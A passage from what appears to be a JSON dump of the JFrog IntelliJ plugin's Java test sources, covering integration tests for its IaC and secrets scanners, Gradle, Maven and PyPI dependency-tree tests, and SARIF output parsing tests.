GlobalSettings\n        GlobalSettings.getInstance().setServerConfig(originalServerConfig);\n    }\n\n    @Override\n    protected String createTempProjectDir(String projectName) throws IOException {\n        return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName);\n    }\n\n    private void deleteScannersDir() throws IOException {\n        if (Files.isDirectory(ScanBinaryExecutor.BINARIES_DIR)) {\n            FileUtils.deleteDirectory(ScanBinaryExecutor.BINARIES_DIR.toFile());\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/integration/IACScannerIntegrationTests.java",
    "content": "package com.jfrog.ide.idea.integration;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.IACScannerExecutor;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport static org.mockito.Mockito.mock;\n\npublic class IACScannerIntegrationTests extends BaseIntegrationTest {\n\n    private IACScannerExecutor scanner;\n    private final static String TEST_PROJECT_PREFIX = \"iac/testProjects/\";\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        scanner = new IACScannerExecutor(Logger.getInstance());\n    }\n\n    public void testIACScanner() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"exposedIac\");\n        ScanConfig.Builder input = new ScanConfig.Builder()\n                .roots(List.of(testProjectRoot));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(11, results.size());\n        // Expect specific indications\n        JFrogSecurityWarning iacIndication = results.get(0);\n        assertEquals(0, iacIndication.getLineStart());\n        assertEquals(11, iacIndication.getLineEnd());\n        assertEquals(0, iacIndication.getColStart());\n        assertEquals(1, iacIndication.getColEnd());\n        assertTrue(iacIndication.getFilePath().endsWith(\"req_sw_terraform_aws_alb_https_only.tf\"));\n        assertEquals(SourceCodeScanType.IAC, iacIndication.getReporter());\n        assertTrue(StringUtils.isNotBlank(iacIndication.getScannerSearchTarget()));\n        assertTrue(StringUtils.isNotBlank(iacIndication.getReason()));\n    }\n\n    @Override\n    protected String createTempProjectDir(String projectName) throws IOException {\n        return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/integration/SecretsScannerIntegrationTests.java",
    "content": "package com.jfrog.ide.idea.integration;\n\nimport com.jfrog.ide.common.log.ProgressIndicator;\nimport com.jfrog.ide.common.nodes.subentities.SourceCodeScanType;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.log.Logger;\nimport com.jfrog.ide.idea.scan.SecretsScannerExecutor;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport org.apache.commons.lang3.StringUtils;\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport static org.mockito.Mockito.mock;\n\npublic class SecretsScannerIntegrationTests extends BaseIntegrationTest {\n\n    private SecretsScannerExecutor scanner;\n    private final static String TEST_PROJECT_PREFIX = \"secrets/testProjects/\";\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        scanner = new SecretsScannerExecutor(Logger.getInstance());\n    }\n\n    public void testSecretsScanner() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"exposedSecrets\");\n        ScanConfig.Builder input = new ScanConfig.Builder()\n                .roots(List.of(testProjectRoot));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(8, results.size());\n        // Expect specific indications\n        JFrogSecurityWarning secretIndication = results.get(0);\n        assertEquals(0, secretIndication.getLineStart());\n        assertEquals(0, secretIndication.getLineEnd());\n        assertEquals(6, secretIndication.getColStart());\n        assertEquals(118, secretIndication.getColEnd());\n        assertTrue(secretIndication.getFilePath().endsWith(\"applicable_base64.js\"));\n        assertEquals(SourceCodeScanType.SECRETS, secretIndication.getReporter());\n        assertTrue(StringUtils.isNotBlank(secretIndication.getScannerSearchTarget()));\n        assertTrue(StringUtils.isNotBlank(secretIndication.getReason()));\n    }\n\n    public void testSecretsScannerNoSecrets() throws IOException, InterruptedException {\n        String testProjectRoot = createTempProjectDir(\"dummy\");\n        ScanConfig.Builder input = new ScanConfig.Builder()\n                .roots(List.of(testProjectRoot));\n        ProgressIndicator indicator = mock(ProgressIndicator.class);\n        List<JFrogSecurityWarning> results = scanner.execute(input, this::dummyCheckCanceled, indicator);\n        assertEquals(0, results.size());\n    }\n\n    @Override\n    protected String createTempProjectDir(String projectName) throws IOException {\n        return super.createTempProjectDir(TEST_PROJECT_PREFIX + projectName);\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/DummyCircularDepPyPkgManager.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.openapi.module.Module;\nimport com.intellij.openapi.projectRoots.Sdk;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.jetbrains.python.packaging.PyPackage;\nimport com.jetbrains.python.packaging.PyPackageManager;\nimport com.jetbrains.python.packaging.PyRequirement;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.util.ArrayList;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\npublic class DummyCircularDepPyPkgManager extends PyPackageManager {\n    public static final String DIRECT_DEPENDENCY_NAME = \"root\";\n    public static final String DIRECT_DEPENDENCY_VERSION = \"1.0.0\";\n    public static final String CIRCULAR_DEPENDENCY_A = \"a\";\n    public static final String CIRCULAR_DEPENDENCY_B = \"b\";\n    public static final String CIRCULAR_DEPENDENCY_VERSION = \"2.0.0\";\n\n    public DummyCircularDepPyPkgManager(@NotNull Sdk sdk) {\n        super(sdk);\n    }\n\n    @Override\n    public void installManagement() {\n\n    }\n\n    @Override\n    public boolean hasManagement() {\n        return false;\n    }\n\n    @Override\n    public void install(@NotNull String s) {\n\n    }\n\n    @Override\n    public void install(@Nullable List<PyRequirement> list, @NotNull List<String> list1) {\n\n    }\n\n    @Override\n    public void uninstall(@NotNull List<PyPackage> list) {\n\n    }\n\n    @Override\n    public void refresh() {\n\n    }\n\n    @Override\n    public @NotNull String createVirtualEnv(@NotNull String s, boolean b) {\n        return \"\";\n    }\n\n    @Override\n    public @Nullable List<PyPackage> getPackages() {\n        return null;\n    }\n\n    @Override\n    public @NotNull List<PyPackage> refreshAndGetPackages(boolean bool) {\n        // Create the following tree: root\n        //                              |\n        //                              a\n        //                              |\n        //                              b\n        //                              |\n        //                              a\n        ArrayList<PyPackage> circularPyPackages = new ArrayList<>();\n        // Root node\n        ArrayList<PyRequirement> dependencies = new ArrayList<>();\n        dependencies.add(new DummyCircularRequirement(CIRCULAR_DEPENDENCY_A));\n        PyPackage root = new PyPackage(DIRECT_DEPENDENCY_NAME, DIRECT_DEPENDENCY_VERSION, null, dependencies);\n        circularPyPackages.add(root);\n        // a\n        ArrayList<PyRequirement> aDependencies = new ArrayList<>();\n        aDependencies.add(new DummyCircularRequirement(CIRCULAR_DEPENDENCY_B));\n        PyPackage a = new PyPackage(CIRCULAR_DEPENDENCY_A, CIRCULAR_DEPENDENCY_VERSION, null, aDependencies);\n        circularPyPackages.add(a);\n        // b\n        ArrayList<PyRequirement> bDependencies = new ArrayList<>();\n        bDependencies.add(new DummyCircularRequirement(CIRCULAR_DEPENDENCY_A));\n        PyPackage b = new PyPackage(CIRCULAR_DEPENDENCY_B, CIRCULAR_DEPENDENCY_VERSION, null, bDependencies);\n        circularPyPackages.add(b);\n\n        return circularPyPackages;\n    }\n\n    @Override\n    public @Nullable List<PyRequirement> getRequirements(@NotNull Module module) {\n        return null;\n    }\n\n    @Override\n    public @Nullable PyRequirement parseRequirement(@NotNull String s) {\n        return null;\n    }\n\n    @Override\n    public @NotNull List<PyRequirement> parseRequirements(@NotNull String s) {\n        return new ArrayList<>();\n    }\n\n    @Override\n    public @NotNull List<PyRequirement> parseRequirements(@NotNull VirtualFile virtualFile) {\n        return new ArrayList<>();\n    }\n\n    @Override\n    public @NotNull Set<PyPackage> getDependents(@NotNull PyPackage pyPackage) {\n        return new HashSet<>();\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/DummyCircularRequirement.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.jetbrains.python.packaging.PyPackage;\nimport com.jetbrains.python.packaging.requirement.PyRequirementVersionSpec;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.List;\n\npublic class DummyCircularRequirement implements com.jetbrains.python.packaging.PyRequirement {\n    private final String name;\n\n    DummyCircularRequirement(String name) {\n        this.name = name;\n    }\n\n    @Override\n    public @NotNull String getName() {\n        return this.name;\n    }\n\n    @Override\n    public @NotNull List<PyRequirementVersionSpec> getVersionSpecs() {\n        return new ArrayList<>();\n    }\n\n    @Override\n    public @NotNull List<String> getInstallOptions() {\n        return new ArrayList<>();\n    }\n\n    @Override\n    public @NotNull String getExtras() {\n        return \"\";\n    }\n\n    @Override\n    public @Nullable PyPackage match(@NotNull Collection<? extends PyPackage> collection) {\n        return null;\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/GradleScannerTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.testFramework.HeavyPlatformTestCase;\nimport com.intellij.util.ConcurrencyUtil;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.gradle.GradleDriver;\nimport com.jfrog.ide.common.scan.GraphScanLogic;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.SystemUtils;\nimport org.jetbrains.plugins.gradle.service.project.open.GradleProjectImportUtil;\nimport org.jfrog.build.api.util.NullLog;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.concurrent.ExecutorService;\n\nimport static com.jfrog.ide.idea.TestUtils.getAndAssertChild;\n\n/**\n * @author yahavi\n **/\npublic class GradleScannerTest extends HeavyPlatformTestCase {\n    private static final Path GRADLE_ROOT = Paths.get(\".\").toAbsolutePath().normalize().resolve(Paths.get(\"src\", \"test\", \"resources\", \"gradle\"));\n    private ExecutorService executorService;\n    private String wrapperProjectDir;\n    private String globalProjectDir;\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        wrapperProjectDir = createTempProjectDir(\"wrapper\");\n\n        // This is intended to make sure the Gradle Wrapper distribution was downloaded to the machine\n        GradleDriver driver = new GradleDriver(Path.of(wrapperProjectDir, SystemUtils.IS_OS_WINDOWS ? \"gradlew.bat\" : \"gradlew\").toString(), System.getenv());\n        driver.verifyGradleInstalled();\n\n        globalProjectDir = createTempProjectDir(\"global\");\n        executorService = ConcurrencyUtil.newSameThreadExecutorService();\n    }\n\n    @Override\n    protected void tearDown() throws Exception {\n        executorService.shutdown();\n        super.tearDown();\n    }\n\n    private String createTempProjectDir(String projectName) throws IOException {\n        String tempProjectDir = getTempDir().createVirtualDir(projectName).toNioPath().toString();\n        FileUtils.copyDirectory(GRADLE_ROOT.resolve(projectName).toFile(), new File(tempProjectDir));\n        return tempProjectDir;\n    }\n\n    public void testGetGradleWrapperExeAndJdk() throws IOException {\n        GradleProjectImportUtil.linkAndRefreshGradleProject(wrapperProjectDir, getProject());\n        GradleScanner gradleScanner = new GradleScanner(getProject(), wrapperProjectDir, executorService, null);\n        Map<String, String> env = new HashMap<>();\n        String gradleExe = gradleScanner.getGradleExeAndJdk(env);\n        assertEquals(System.getenv(\"JAVA_HOME\"), env.get(\"JAVA_HOME\"));\n        assertTrue(StringUtils.contains(gradleExe, \"wrapper\"));\n        new GradleDriver(gradleExe, null).verifyGradleInstalled();\n    }\n\n    public void testGetGradleGlobalExeAndJdk() throws IOException {\n        GradleProjectImportUtil.linkAndRefreshGradleProject(globalProjectDir, getProject());\n        GradleScanner gradleScanner = new GradleScanner(getProject(), globalProjectDir, executorService, null);\n        Map<String, String> env = new HashMap<>();\n        String gradleExe = gradleScanner.getGradleExeAndJdk(env);\n        assertEquals(System.getenv(\"JAVA_HOME\"), env.get(\"JAVA_HOME\"));\n        new GradleDriver(gradleExe, null).verifyGradleInstalled();\n    }\n\n    public void testBuildTree() throws IOException {\n        GradleProjectImportUtil.linkAndRefreshGradleProject(globalProjectDir, getProject());\n\n        GradleScanner gradleScanner = new GradleScanner(getProject(), globalProjectDir, executorService, new GraphScanLogic(new NullLog()));\n\n        // Run and check scan results\n        DepTree results = gradleScanner.buildTree();\n        assertNotNull(results);\n        assertEquals(Paths.get(globalProjectDir).getFileName().toString(), results.rootId());\n        assertEquals(3, results.getRootNode().getChildren().size());\n\n        // Check module dependency\n        DepTreeNode moduleNode = getAndAssertChild(results, results.getRootNode(), \"org.jfrog.test.gradle.publish:shared:1.0-SNAPSHOT\");\n        assertEquals(1, moduleNode.getChildren().size());\n\n        // Check dependency\n        DepTreeNode dependencyNode = getAndAssertChild(results, moduleNode, \"junit:junit:4.7\");\n        assertContainsElements(dependencyNode.getScopes(), \"testImplementation\", \"testRuntimeClasspath\", \"testCompileClasspath\");\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/MavenScannerTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.intellij.testFramework.fixtures.BasePlatformTestCase;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.FileTreeNode;\nimport com.jfrog.ide.common.nodes.LicenseViolationNode;\nimport com.jfrog.ide.common.nodes.subentities.Severity;\nimport com.jfrog.ide.idea.scan.utils.ImpactTreeBuilder;\n\nimport java.util.*;\n\npublic class MavenScannerTest extends BasePlatformTestCase {\n    public void testGroupDependenciesToDescriptorNodes() {\n        final String MULTI_DESC_PATH = \"/path/to/project/maven-example/pom.xml\";\n        final String MULTI1_DESC_PATH = \"/path/to/project/maven-example/multi1/pom.xml\";\n        final String MULTI2_DESC_PATH = \"/path/to/project/maven-example/multi2/pom.xml\";\n        final String MULTI3_DESC_PATH = \"/path/to/project/maven-example/multi3/pom.xml\";\n\n        final String MULTI_COMP_ID = \"org.jfrog.test:multi:3.7.x-SNAPSHOT\";\n        final String MULTI1_COMP_ID = \"org.jfrog.test:multi1:3.7.x-SNAPSHOT\";\n        final String MULTI2_COMP_ID = \"org.jfrog.test:multi2:3.7.x-SNAPSHOT\";\n        final String MULTI3_COMP_ID = \"org.jfrog.test:multi3:3.7.x-SNAPSHOT\";\n        final String SPRING_AOP_COMP_ID = \"org.springframework:spring-aop:2.5.6\";\n        final String SPRING_CORE_COMP_ID = \"org.springframework:spring-core:2.5.6\";\n        final String LOG4J_COMP_ID = \"log4j:log4j:1.2.17\";\n\n        DepTree depTree = new DepTree(MULTI_COMP_ID, new HashMap<>() {{\n            put(MULTI_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI_DESC_PATH).children(Set.of(MULTI1_COMP_ID, MULTI3_COMP_ID, LOG4J_COMP_ID)));\n            put(MULTI1_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI1_DESC_PATH).children(Set.of(LOG4J_COMP_ID)));\n            put(MULTI2_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI2_DESC_PATH).children(Set.of(SPRING_CORE_COMP_ID)));\n            put(MULTI3_COMP_ID, new DepTreeNode().descriptorFilePath(MULTI3_DESC_PATH).children(Set.of(MULTI1_COMP_ID, LOG4J_COMP_ID, SPRING_AOP_COMP_ID)));\n            put(SPRING_AOP_COMP_ID, new DepTreeNode().children(Set.of(SPRING_CORE_COMP_ID)));\n            put(SPRING_CORE_COMP_ID, new DepTreeNode().children(Set.of()));\n            put(LOG4J_COMP_ID, new DepTreeNode().children(Set.of()));\n        }});\n        Map<String, Set<String>> parents = ScannerBase.getParents(depTree);\n\n        List<DependencyNode> vulnerableDeps = new ArrayList<>() {{\n            add(new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"gav://\" + LOG4J_COMP_ID));\n            add(new DependencyNode() {{\n                addIssue(new LicenseViolationNode(\"\", \"\", null, Severity.High, \"\", null));\n            }}.componentId(\"gav://\" + SPRING_AOP_COMP_ID));\n        }};\n\n        MavenScanner scanner = new MavenScanner(getProject(), null, null);\n        List<FileTreeNode> fileTreeNodes = scanner.groupDependenciesToDescriptorNodes(vulnerableDeps, depTree, parents);\n        assertEquals(3, fileTreeNodes.size());\n\n        FileTreeNode multiDescFile = fileTreeNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(MULTI_DESC_PATH)).findFirst().get();\n        FileTreeNode multi1DescFile = fileTreeNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(MULTI1_DESC_PATH)).findFirst().get();\n        FileTreeNode multi3DescFile = fileTreeNodes.stream().filter(fileTreeNode -> fileTreeNode.getFilePath().equals(MULTI3_DESC_PATH)).findFirst().get();\n\n        assertEquals(2, multiDescFile.getChildren().size());\n        DependencyNode multiLog4jDepNode = multiDescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals(\"gav://\" + LOG4J_COMP_ID)).findFirst().get();\n        assertFalse(multiLog4jDepNode.isIndirect());\n        DependencyNode multiSpringAopDepNode = multiDescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals(\"gav://\" + SPRING_AOP_COMP_ID)).findFirst().get();\n        assertTrue(multiSpringAopDepNode.isIndirect());\n\n        assertEquals(1, multi1DescFile.getChildren().size());\n        DependencyNode multi1Log4jDepNode = multi1DescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals(\"gav://\" + LOG4J_COMP_ID)).findFirst().get();\n        assertFalse(multi1Log4jDepNode.isIndirect());\n\n        assertEquals(2, multi3DescFile.getChildren().size());\n        DependencyNode multi3Log4jDepNode = multi3DescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals(\"gav://\" + LOG4J_COMP_ID)).findFirst().get();\n        assertFalse(multi3Log4jDepNode.isIndirect());\n        DependencyNode multi3SpringAopDepNode = multi3DescFile.getChildren().stream().map(treeNode -> (DependencyNode) treeNode).filter(depNode -> depNode.getComponentId().equals(\"gav://\" + SPRING_AOP_COMP_ID)).findFirst().get();\n        assertFalse(multi3SpringAopDepNode.isIndirect());\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/PypiScannerTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.google.common.collect.Lists;\nimport com.intellij.execution.ExecutionException;\nimport com.intellij.openapi.progress.ProgressIndicator;\nimport com.intellij.openapi.progress.ProgressManager;\nimport com.intellij.openapi.progress.Task;\nimport com.intellij.openapi.projectRoots.Sdk;\nimport com.intellij.openapi.projectRoots.impl.ProjectJdkImpl;\nimport com.intellij.testFramework.LightProjectDescriptor;\nimport com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase;\nimport com.intellij.util.ConcurrencyUtil;\nimport com.jetbrains.python.packaging.PyPackageManager;\nimport com.jetbrains.python.packaging.PyPackageManagers;\nimport com.jetbrains.python.sdk.PythonSdkType;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport com.jfrog.ide.common.scan.GraphScanLogic;\nimport org.apache.commons.lang3.SystemUtils;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.codehaus.plexus.util.FileUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jfrog.build.api.util.NullLog;\nimport org.jfrog.build.extractor.executor.CommandExecutor;\nimport org.jfrog.build.extractor.executor.CommandResults;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.ArrayList;\nimport java.util.concurrent.ExecutorService;\n\nimport static com.jfrog.ide.idea.TestUtils.getAndAssertChild;\n\n/**\n * @author yahavi\n **/\npublic class PypiScannerTest extends LightJavaCodeInsightFixtureTestCase {\n    private static final String SDK_NAME = \"Test Python SDK\";\n    private static final String DIRECT_DEPENDENCY_NAME = \"Scrapy\";\n    private static final String DIRECT_DEPENDENCY_VERSION = \"2.9.0\";\n    private static final String TRANSITIVE_DEPENDENCY_NAME = \"pyopenssl\";\n\n    private ExecutorService executorService;\n    private Sdk pythonSdk;\n    private File tmpDir;\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        createVirtualEnv();\n        resolvePythonSdk();\n        executorService = ConcurrencyUtil.newSameThreadExecutorService();\n    }\n\n    @Override\n    protected void tearDown() throws Exception {\n        if (tmpDir != null) {\n            FileUtils.deleteDirectory(tmpDir);\n        }\n        PyPackageManagers.getInstance().clearCache(pythonSdk);\n        executorService.shutdown();\n        super.tearDown();\n    }\n\n    @Override\n    protected @NotNull LightProjectDescriptor getProjectDescriptor() {\n        return LightJavaCodeInsightFixtureTestCase.JAVA_11;\n    }\n\n    private void createVirtualEnv() throws IOException, InterruptedException {\n        tmpDir = Files.createTempDirectory(\"\").toFile();\n        CommandExecutor commandExecutor = new CommandExecutor(\"python\", null);\n        ArrayList<String> args = Lists.newArrayList(\"-m\", \"venv\", \"pip-venv\");\n        CommandResults results = commandExecutor.exeCommand(tmpDir, Lists.newArrayList(args), null, new NullLog());\n        if (!results.isOk()) {\n            // The Python tests requires Python 3 because the \"venv\" module exists only at Python 3.\n            // In some machines the \"python\" executable is Python 2.\n            commandExecutor = new CommandExecutor(\"python3\", null);\n            results = commandExecutor.exeCommand(tmpDir, Lists.newArrayList(args), null, new NullLog());\n        }\n        assertTrue(results.getRes() + \". Error: \" + results.getErr(), results.isOk());\n    }\n\n    private void resolvePythonSdk() {\n        Path virtualEnv = tmpDir.toPath().resolve(\"pip-venv\");\n        Path venvPath = SystemUtils.IS_OS_WINDOWS ? virtualEnv.resolve(\"Scripts\") : virtualEnv.resolve(\"bin\");\n        pythonSdk = new ProjectJdkImpl(SDK_NAME, PythonSdkType.getInstance(), venvPath.resolve(\"python\").toString(), \"\");\n    }\n\n    private void installDependencyOnVirtualEnv() {\n        ProgressManager.getInstance().run(new Task.Modal(getProject(), \"Install Dependency\", false) {\n            @Override\n            public void run(@NotNull ProgressIndicator indicator) {\n                try {\n                    PyPackageManager pyPackageManager = PyPackageManager.getInstance(pythonSdk);\n                    pyPackageManager.install(DIRECT_DEPENDENCY_NAME + \"==\" + DIRECT_DEPENDENCY_VERSION);\n                } catch (ExecutionException e) {\n                    fail(ExceptionUtils.getRootCauseMessage(e));\n                }\n            }\n        });\n    }\n\n    public void testBuildTree() throws IOException {\n        installDependencyOnVirtualEnv();\n\n        PypiScanner pypiScanner = new PypiScanner(getProject(), pythonSdk, executorService, new GraphScanLogic(new NullLog()));\n\n        // Check root SDK node\n        DepTree results = pypiScanner.buildTree();\n        assertEquals(SDK_NAME, results.rootId());\n        assertEquals(SDK_NAME, results.rootId());\n        assertEquals(pythonSdk.getHomePath(), results.getRootNodeDescriptorFilePath());\n        // Verify Scrapy has at least 15 direct dependencies (count may change over time due to transitive dependencies updates).\n        assertTrue(results.getRootNode().getChildren().size() >= 15);\n\n        // Check direct dependency\n        String directDepId = DIRECT_DEPENDENCY_NAME + \":\" + DIRECT_DEPENDENCY_VERSION;\n        DepTreeNode scrappy = getAndAssertChild(results, results.getRootNode(), directDepId);\n\n        // Check transitive dependency\n        String pyOpenSSLDepId = scrappy.getChildren().stream().filter(childId -> childId.startsWith(TRANSITIVE_DEPENDENCY_NAME + \":\")).findFirst().get();\n        DepTreeNode pyOpenSSLDepNode = results.nodes().get(pyOpenSSLDepId);\n        assertNotNull(\"Couldn't find node '\" + pyOpenSSLDepId + \"'.\", pyOpenSSLDepNode);\n        assertSize(1, pyOpenSSLDepNode.getChildren());\n    }\n\n    public void testBuildTreeCircularDependency() throws IOException {\n        try (MockedStatic<PyPackageManager> mockController = Mockito.mockStatic(PyPackageManager.class)) {\n            mockController.when(() -> PyPackageManager.getInstance(pythonSdk)).thenReturn(new DummyCircularDepPyPkgManager(pythonSdk));\n            PypiScanner pypiScanner = new PypiScanner(getProject(), pythonSdk, executorService, new GraphScanLogic(new NullLog()));\n\n            // Check root SDK node\n            DepTree results = pypiScanner.buildTree();\n            assertEquals(SDK_NAME, results.rootId());\n            assertEquals(pythonSdk.getHomePath(), results.getRootNodeDescriptorFilePath());\n            assertNotEmpty(results.getRootNode().getChildren());\n\n            // The expected tree: root -> a-> b -> a\n            // Check root\n            String directDepId = DummyCircularDepPyPkgManager.DIRECT_DEPENDENCY_NAME + \":\" + DummyCircularDepPyPkgManager.DIRECT_DEPENDENCY_VERSION;\n            DepTreeNode root = getAndAssertChild(results, results.getRootNode(), directDepId);\n            assertSize(1, root.getChildren());\n            String depIdA = DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_A + \":\" + DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_VERSION;\n            DepTreeNode a = getAndAssertChild(results, root, depIdA);\n\n            // Check dependency \"a\"\n            assertSize(1, a.getChildren());\n            String depIdB = DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_B + \":\" + DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_VERSION;\n            DepTreeNode b = getAndAssertChild(results, a, depIdB);\n\n            // Check dependency \"b\"\n            assertSize(1, b.getChildren());\n            getAndAssertChild(results, b, DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_A + \":\" + DummyCircularDepPyPkgManager.CIRCULAR_DEPENDENCY_VERSION);\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/scan/ScanBinaryExecutorTest.java",
    "content": "package com.jfrog.ide.idea.scan;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.jfrog.ide.idea.inspections.JFrogSecurityWarning;\nimport com.jfrog.ide.idea.scan.data.ScanConfig;\nimport com.jfrog.ide.idea.scan.data.ScansConfig;\nimport junit.framework.TestCase;\nimport org.apache.commons.io.FileUtils;\nimport org.jfrog.build.api.util.NullLog;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.List;\n\nimport static com.jfrog.ide.common.utils.Utils.createYAMLMapper;\nimport static org.junit.Assert.assertThrows;\n\n/**\n * @author tala\n **/\npublic class ScanBinaryExecutorTest extends TestCase {\n    private final ScanBinaryExecutor scanner = new ApplicabilityScannerExecutor(new NullLog());\n    private final ScanBinaryExecutor secretsScanner = new SecretsScannerExecutor(new NullLog());\n    private final Path FAULTY_OUTPUT = new File(\"src/test/resources/sourceCode/faulty_output.sarif\").toPath();\n    private final Path SIMPLE_OUTPUT = new File(\"src/test/resources/sourceCode/simple_output.sarif\").toPath();\n    private final Path APPLIC_KIND_PASS_AND_FAIL_OUTPUT = new File(\"src/test/resources/sourceCode/applicable_kind_pass_output.sarif\").toPath();\n    private final Path SECRETS_WITH_INFORMATIONAL_OUTPUT = new File(\"src/test/resources/sourceCode/secrets_with_informational_output.sarif\").toPath();\n    public void testInputBuilder() throws IOException {\n        ScanConfig.Builder inputFileBuilder = new ScanConfig.Builder();\n        Path inputPath = null;\n        String testOutput = \"file/location\\\\out.sarif\";\n        String testLanguage = \"Go\";\n        List<String> testRoots = List.of(\"a\", \"b\", \"c\");\n\n        inputFileBuilder.scanType(scanner.scanType);\n        inputFileBuilder.output(testOutput);\n        inputFileBuilder.language(testLanguage);\n        inputFileBuilder.roots(testRoots);\n        try {\n            inputPath = scanner.createTempRunInputFile(new ScansConfig(List.of(inputFileBuilder.Build())));\n            ScansConfig inputFile = readScansConfigYAML(inputPath);\n            assertNotNull(inputFile);\n            assertEquals(1, inputFile.getScans().size());\n            assertEquals(testOutput, inputFile.getScans().get(0).getOutput());\n            assertEquals(testLanguage, inputFile.getScans().get(0).getLanguage());\n            assertEquals(testRoots, inputFile.getScans().get(0).getRoots());\n        } finally {\n            if (inputPath != null) {\n                FileUtils.deleteQuietly(inputPath.toFile());\n            }\n        }\n    }\n\n    public void testSarifParser() throws IOException {\n        List<JFrogSecurityWarning> parsedOutput = scanner.parseOutputSarif(SIMPLE_OUTPUT);\n        String expectedPath = Paths.get(\"/examples/applic-demo/index.js\").toString();\n        assertEquals(2, parsedOutput.size());\n        assertEquals(\"applic_CVE-2022-25878\", parsedOutput.get(0).getRuleID());\n        assertEquals(\"CVE-2022-25978\", parsedOutput.get(1).getRuleID());\n        assertEquals(expectedPath, parsedOutput.get(0).getFilePath());\n        assertEquals(expectedPath, parsedOutput.get(1).getFilePath());\n        assertEquals(\"The vulnerable function protobufjs.load is called\", parsedOutput.get(0).getReason());\n        assertEquals(\"The vulnerable function protobufjs.parse is called.\", parsedOutput.get(1).getReason());\n        assertEquals(19, parsedOutput.get(0).getLineStart());\n        assertEquals(17, parsedOutput.get(1).getLineStart());\n        assertEquals(19, parsedOutput.get(0).getLineEnd());\n        assertEquals(21, 